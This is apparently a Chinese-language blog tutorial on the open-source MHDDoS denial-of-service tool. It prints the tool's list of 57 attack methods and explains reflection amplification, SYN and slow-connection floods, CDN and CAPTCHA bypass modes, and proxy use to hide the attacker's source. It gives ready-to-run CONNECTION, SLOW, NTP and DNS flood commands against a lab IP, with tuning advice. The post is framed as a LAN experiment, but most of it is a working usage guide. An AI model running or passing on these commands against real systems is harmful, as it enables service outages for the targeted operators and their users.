目錄

MHDDoS 攻擊使用

MHDDoS 介紹

連結,MHDDoS 是一個基於 Python 開發的開源分散式阻斷服務(DDoS)攻擊工具,他除了一般 L3/L4 攻擊模擬,還有很多 L7 應用層相關的攻擊模擬。

所以他的特色是 L7 應用層模擬,像是有一些參數甚至能繞過 Cloudflare 或 Google Shield 的基礎防護。

他也支援代理,原生支援使用 Proxy (SOCKS4, SOCKS5) 來隱藏攻擊者來源。

參數

adl@Twinkle:~/git_projects/MHDDoS$ python3 start.py  -h
* MHDDoS - DDoS Attack Script With 57 Methods
Note: If the Proxy list is empty, The attack will run without proxies
      If the Proxy file doesn't exist, the script will download proxies and check them.
      Proxy Type 0 = All in config.json
      SocksTypes:
         - 6 = RANDOM
         - 5 = SOCKS5
         - 4 = SOCKS4
         - 1 = HTTP
         - 0 = ALL
 > Methods:
 - Layer4
 | MCBOT, VSE, FIVEM, DNS, ARD, NTP, UDP, TCP, MINECRAFT, MEM, SYN, OVH-UDP, TS3, MCPE, CHAR, RDP, CPS, FIVEM-TOKEN, ICMP, CLDAP, CONNECTION | 21 Methods
 - Layer7
 | APACHE, DOWNLOADER, STRESS, NULL, EVEN, RHEX, XMLRPC, POST, TOR, GET, DGB, SLOW, KILLER, CFB, AVB, PPS, BOMB, BOT, GSB, HEAD, BYPASS, COOKIE, OVH, STOMP, CFBUAM, DYN | 26 Methods
 - Tools
 | INFO, TSSRV, CFIP, DSTAT, PING, DNS, CHECK | 7 Methods
 - Others
 | TOOLS, HELP, STOP | 3 Methods
 - All 57 Methods

Example:
   L7: python3 start.py <method> <url> <socks_type> <threads> <proxylist> <rpc> <duration> <debug=optional>
   L4: python3 start.py <method> <ip:port> <threads> <duration>
   L4 Proxied: python3 start.py <method> <ip:port> <threads> <duration> <socks_type> <proxylist>
   L4 Amplification: python3 start.py <method> <ip:port> <threads> <duration> <reflector file (only use with Amplification)>

這邊列出一些參數:

  • L4
    • CONNECTION:TCP 全連線攻擊。完成三向交握並保持連線
    • DNS / NTP / MEM / RDP:反射放大攻擊。偽造受害者 IP 向公網服務請求,利用倍率差(Amplification Factor)轟炸受害者
    • SYN:TCP 半開連線
    • UDP / OVH-UDP:UDP 洪水
    • VSE / MCBOT / TS3:特定協議攻擊,針對遊戲(Source 引擎、Minecraft)或通訊軟體(Teamspeak)的自定義協議包
  • L7
    • HTTP 洪水 (GET / POST / HEAD):模擬大量用戶存取網頁
    • 繞過與偵測 (BYPASS / CFB / GSB):這些模式專門設計來繞過防火牆或 CDN(如 Cloudflare)。它會自動處理 Cookie、User-Agent 變換,甚至是繞過驗證碼(CAPTCHA)挑戰
    • SLOW:慢速攻擊,建立大量連線,但傳送資料極慢(例如每 10 秒才傳 1 byte)

然後提供工具模式

python3 start.py TOOLS 進到工具模式,可以用 DSTAT 看送的流量,以及還有其他的工具。

/mhddos/image.png

模擬攻擊

以下實際用看看攻擊。

TCP Connection Attack

攻擊者使用 python3 start.py CONNECTION 192.168.169.90:80 100 20,使用 100 threads 跑 20 秒。

/mhddos/image-1.png

上面,發起攻擊。

/mhddos/image-2.png

上面,如上看到相關的資訊,在 CONNECTION 模式下,攻擊機發出 ACK 或 PUSH 封包來維持連線,受害者則回傳對應的 ACK。因為連線已經建立,所以不需要像 Flood 那樣噴出幾十萬 PPS,只需要少量的流量就能「霸佔」住受害者的資源。

受害者用 watch -n 1 "ss -ant | grep ESTAB | wc -l" 會看到 ESTABLISH 連線變大。

1021 這個數字非常關鍵。在 Linux 中,一般使用者行程預設的 ulimit -n (最大開啟檔案數) 正好是 1024。

L7 Slow Attack

# 格式: python3 start.py SLOW <url> <socks_type> <threads> <proxylist> <rpc> <duration>
python3 start.py SLOW http://192.168.169.90 1 500 "" 10 600

NTP Flood

# 格式: python3 start.py NTP <ip:port> <threads> <duration>
python3 start.py NTP 192.168.169.90:123 1000 600

參數解析:

  • 1: 代表使用 HTTP Proxy 模式(但在後方給空字串,它會自動跑直連)
  • 500: 建立 500 個慢速連線
  • “”: Proxy list 為空(因為你在 LAN 測試)
  • 10: 每個執行緒每秒發送的請求數(RPC),Slow Attack 建議設低一點,才有「慢速」的效果

注意:受害者端必須有跑 NTP 服務(如 ntpd),否則這只會變成單純的 UDP 垃圾包攻擊。

DNS Food

# 格式: python3 start.py DNS <ip:port> <threads> <duration>
python3 start.py DNS 192.168.169.90:53 1000 600